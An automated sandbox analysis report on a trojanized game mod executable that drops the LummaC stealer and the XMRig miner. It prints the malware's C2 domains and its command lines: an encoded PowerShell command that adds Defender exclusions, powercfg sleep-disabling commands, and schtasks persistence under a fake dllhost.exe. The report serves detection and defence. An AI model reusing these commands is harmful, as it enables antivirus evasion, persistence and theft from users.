Edit tour

Windows Analysis Report
Kiddion's Modest Menu v.1.0.0.exe

Overview

General Information

Sample name:	Kiddion's Modest Menu v.1.0.0.exe
Analysis ID:	1636791
MD5:	65605c7d9ca4721aff5da72539b00729
SHA1:	9a566027023ba2d3dc5100a823812f7f87b99059
SHA256:	59f38b0c6535a71432a891ff97dd309d19e5ed3c068b3fed91045d1293a72c29
Tags:	exeLummaStealeruser-tcains1
Infos:

Detection

LummaC Stealer, Xmrig

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Schedule system process

Yara detected LummaC Stealer

Yara detected Xmrig cryptocurrency miner

C2 URLs / IPs found in malware configuration

Connects to a pastebin service (likely for C&C)

Contains functionality to inject code into remote processes

Encrypted powershell cmdline option found

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Joe Sandbox ML detected suspicious sample

Loading BitLocker PowerShell Module

Modifies power options to not sleep / hibernate

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample is not signed and drops a device driver

Sample uses string decryption to hide its real strings

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Uses powercfg.exe to modify the power settings

Uses schtasks.exe or at.exe to add and modify task schedules

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to modify clipboard data

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates driver files

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains more sections than normal

PE file contains sections with non-standard names

PE file does not import any functions

PE file overlay found

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Suspicious Execution of Powershell with Base64

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Kiddion's Modest Menu v.1.0.0.exe (PID: 7640 cmdline: "C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe" MD5: 65605C7D9CA4721AFF5DA72539B00729)

conhost.exe (PID: 7648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Kiddion's Modest Menu v.1.0.0.exe (PID: 7696 cmdline: "C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe" MD5: 65605C7D9CA4721AFF5DA72539B00729)

1C2NX3IUVJPXMLDGP.exe (PID: 7724 cmdline: "C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe" MD5: C11A82D699A06D9B8BA4296E0C562AE4)

cmd.exe (PID: 7444 cmdline: "cmd.exe" /C powershell -EncodedCommand "PAAjAEIAQQBtAHcAUwBsAGkAMABzACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAVgBDAGoAaQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBSADgAWgA5ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAFcATQB1ADAAdABEAEEAIwA+AA==" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7456 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8104 cmdline: powershell -EncodedCommand "PAAjAEIAQQBtAHcAUwBsAGkAMABzACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAVgBDAGoAaQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBSADgAWgA5ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAFcATQB1ADAAdABEAEEAIwA+AA==" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

WmiPrvSE.exe (PID: 8128 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

powercfg.exe (PID: 4812 cmdline: powercfg /x -hibernate-timeout-ac 0 MD5: 9D71DBDD3AD017EC69554ACF9CAADD05)

powercfg.exe (PID: 2800 cmdline: powercfg /x -hibernate-timeout-dc 0 MD5: 9D71DBDD3AD017EC69554ACF9CAADD05)

powercfg.exe (PID: 1464 cmdline: powercfg /x -standby-timeout-ac 0 MD5: 9D71DBDD3AD017EC69554ACF9CAADD05)

powercfg.exe (PID: 1204 cmdline: powercfg /x -standby-timeout-dc 0 MD5: 9D71DBDD3AD017EC69554ACF9CAADD05)

powercfg.exe (PID: 2132 cmdline: powercfg /hibernate off MD5: 9D71DBDD3AD017EC69554ACF9CAADD05)

cmd.exe (PID: 2976 cmdline: "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 1732 cmdline: SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

cmd.exe (PID: 3868 cmdline: "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk5846" /TR "C:\ProgramData\Dllhost\dllhost.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7328 cmdline: SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk5846" /TR "C:\ProgramData\Dllhost\dllhost.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

WerFault.exe (PID: 7784 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7640 -s 404 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://harfanglab.io/insidethelab/unpacking-packxor/ https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

Threatname: LummaC

{"C2 url": ["citydisco.bet/gdJIS", "featureccus.shop/bdMAn", "mrodularmall.top/aNzS", "jowinjoinery.icu/bdWUa", "legenassedk.top/bdpWO", "htardwarehu.icu/Sbdsa", "cjlaspcorne.icu/DbIps", "bugildbett.top/bAuz"], "Build id": "fed6e09d7cce440c06ce97b0ad4a5156875b61f002ac55e51abf"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000002.00000003.1274915003.00000000015D9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000002.1489565252.0000000002AFE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000002.1223310292.000000000291D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000002.00000003.1306812533.00000000015D9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.2391926634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000002.00000003.1274752832.00000000015BC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Kiddion's Modest Menu v.1.0.0.exe PID: 7696	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: Kiddion's Modest Menu v.1.0.0.exe PID: 7696	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Kiddion's Modest Menu v.1.0.0.exe PID: 7696	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 1C2NX3IUVJPXMLDGP.exe PID: 7724	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author
2.2.Kiddion's Modest Menu v.1.0.0.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
2.2.Kiddion's Modest Menu v.1.0.0.exe.400000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
14.2.1C2NX3IUVJPXMLDGP.exe.2ab8321.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe, ProcessId: 7724, TargetFilename: C:\ProgramData\Dllhost\dllhost.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "cmd.exe" /C powershell -EncodedCommand "PAAjAEIAQQBtAHcAUwBsAGkAMABzACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAVgBDAGoAaQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBSADgAWgA5ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAFcATQB1ADAAdABEAEEAIwA+AA==" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off, CommandLine: "cmd.exe" /C powershell -EncodedCommand "PAAjAEIAQQBtAHcAUwBsAGkAMABzACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAVgBDAGoAaQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBSADgAWgA5ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAFcATQB1ADAAdABEAEEAIwA+AA==" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe", ParentImage: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe, ParentProcessId: 7724, ParentProcessName: 1C2NX3IUVJPXMLDGP.exe, ProcessCommandLine: "cmd.exe" /C powershell -EncodedCommand "PAAjAEIAQQBtAHcAUwBsAGkAMABzACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAVgBDAGoAaQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBSADgAWgA5ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAFcATQB1ADAAdABEAEEAIwA+AA==" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off, ProcessId: 7444, ProcessName: cmd.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: powershell -EncodedCommand "PAAjAEIAQQBtAHcAUwBsAGkAMABzACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAVgBDAGoAaQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBSADgAWgA5ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAFcATQB1ADAAdABEAEEAIwA+AA==" , CommandLine: powershell -EncodedCommand "PAAjAEIAQQBtAHcAUwBsAGkAMABzACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAVgBDAGoAaQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBSADgAWgA5ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAFcATQB1ADAAdABEAEEAIwA+AA==" , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd.exe" /C powershell -EncodedCommand "PAAjAEIAQQBtAHcAUwBsAGkAMABzACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAVgBDAGoAaQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBSADgAWgA5ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAFcATQB1ADAAdABEAEEAIwA+AA==" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7444, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -EncodedCommand "PAAjAEIAQQBtAHcAUwBsAGkAMABzACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAVgBDAGoAaQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBSADgAWgA5ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAFcATQB1ADAAdABEAEEAIwA+AA==" , ProcessId: 8104, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -EncodedCommand "PAAjAEIAQQBtAHcAUwBsAGkAMABzACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAVgBDAGoAaQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBSADgAWgA5ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAFcATQB1ADAAdABEAEEAIwA+AA==" , CommandLine: powershell -EncodedCommand "PAAjAEIAQQBtAHcAUwBsAGkAMABzACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAVgBDAGoAaQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBSADgAWgA5ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAFcATQB1ADAAdABEAEEAIwA+AA==" , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd.exe" /C powershell -EncodedCommand "PAAjAEIAQQBtAHcAUwBsAGkAMABzACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAVgBDAGoAaQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBSADgAWgA5ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAFcATQB1ADAAdABEAEEAIwA+AA==" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7444, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -EncodedCommand "PAAjAEIAQQBtAHcAUwBsAGkAMABzACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAVgBDAGoAaQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBSADgAWgA5ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAFcATQB1ADAAdABEAEEAIwA+AA==" , ProcessId: 8104, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Schedule system process

Source: Process started

Author: Joe Security: Data: Command: "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe", CommandLine: "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe", ParentImage: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe, ParentProcessId: 7724, ParentProcessName: 1C2NX3IUVJPXMLDGP.exe, ProcessCommandLine: "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe", ProcessId: 2976, ProcessName: cmd.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-13T05:46:11.357439+0100	2028371	3	Unknown Traffic	192.168.2.4	49714	188.114.96.3	443	TCP
2025-03-13T05:46:14.611458+0100	2028371	3	Unknown Traffic	192.168.2.4	49716	188.114.96.3	443	TCP
2025-03-13T05:46:18.373236+0100	2028371	3	Unknown Traffic	192.168.2.4	49721	188.114.96.3	443	TCP
2025-03-13T05:46:21.619205+0100	2028371	3	Unknown Traffic	192.168.2.4	49726	188.114.96.3	443	TCP
2025-03-13T05:46:25.587429+0100	2028371	3	Unknown Traffic	192.168.2.4	49728	188.114.96.3	443	TCP
2025-03-13T05:46:29.245546+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	188.114.96.3	443	TCP
2025-03-13T05:46:33.068506+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	188.114.96.3	443	TCP
2025-03-13T05:46:35.271903+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	104.21.64.1	443	TCP

ETPRO MALWARE Observed Request for xmrig.exe in - Coinminer Download

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-13T05:46:43.825761+0100	2829056	2	Crypto Currency Mining Activity Detected	192.168.2.4	49737	185.215.113.51	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Kiddion's Modest Menu v.1.0.0.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://featureccus.shop/	Avira URL Cloud: Label: malware
Source: citydisco.bet/gdJIS	Avira URL Cloud: Label: malware
Source: https://featureccus.shop/bdMAn	Avira URL Cloud: Label: malware
Source: https://mrodularmall.top/q	Avira URL Cloud: Label: malware
Source: https://mrodularmall.top/aNzS_	Avira URL Cloud: Label: malware
Source: https://mrodularmall.top/aNzS-.n	Avira URL Cloud: Label: malware
Source: https://mrodularmall.top/	Avira URL Cloud: Label: malware
Source: https://mrodularmall.top/aNzS	Avira URL Cloud: Label: malware
Source: https://citydisco.bet/gdJIS	Avira URL Cloud: Label: malware
Source: https://citydisco.bet/gdJIS;	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.1223310292.000000000291D000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["citydisco.bet/gdJIS", "featureccus.shop/bdMAn", "mrodularmall.top/aNzS", "jowinjoinery.icu/bdWUa", "legenassedk.top/bdpWO", "htardwarehu.icu/Sbdsa", "cjlaspcorne.icu/DbIps", "bugildbett.top/bAuz"], "Build id": "fed6e09d7cce440c06ce97b0ad4a5156875b61f002ac55e51abf"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe

ReversingLabs: Detection: 81%

Multi AV Scanner detection for submitted file

Source: Kiddion's Modest Menu v.1.0.0.exe	Virustotal: Detection: 69%			Perma Link
Source: Kiddion's Modest Menu v.1.0.0.exe	ReversingLabs: Detection: 65%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1223310292.000000000291D000.00000004.00000020.00020000.00000000.sdmp	String decryptor: citydisco.bet/gdJIS
Source: 00000000.00000002.1223310292.000000000291D000.00000004.00000020.00020000.00000000.sdmp	String decryptor: featureccus.shop/bdMAn
Source: 00000000.00000002.1223310292.000000000291D000.00000004.00000020.00020000.00000000.sdmp	String decryptor: mrodularmall.top/aNzS
Source: 00000000.00000002.1223310292.000000000291D000.00000004.00000020.00020000.00000000.sdmp	String decryptor: jowinjoinery.icu/bdWUa
Source: 00000000.00000002.1223310292.000000000291D000.00000004.00000020.00020000.00000000.sdmp	String decryptor: legenassedk.top/bdpWO
Source: 00000000.00000002.1223310292.000000000291D000.00000004.00000020.00020000.00000000.sdmp	String decryptor: htardwarehu.icu/Sbdsa
Source: 00000000.00000002.1223310292.000000000291D000.00000004.00000020.00020000.00000000.sdmp	String decryptor: cjlaspcorne.icu/DbIps
Source: 00000000.00000002.1223310292.000000000291D000.00000004.00000020.00020000.00000000.sdmp	String decryptor: bugildbett.top/bAuz

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_0041BBA0 CryptUnprotectData,	2_2_0041BBA0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_0041FC98 CryptUnprotectData,	2_2_0041FC98
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_004207A3 CryptUnprotectData,	2_2_004207A3

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: 14.2.1C2NX3IUVJPXMLDGP.exe.2ab8321.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.1489565252.0000000002AFE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Kiddion's Modest Menu v.1.0.0.exe PID: 7696, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 1C2NX3IUVJPXMLDGP.exe PID: 7724, type: MEMORYSTR

Source: Kiddion's Modest Menu v.1.0.0.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.4:49736 version: TLS 1.2

Source: Kiddion's Modest Menu v.1.0.0.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

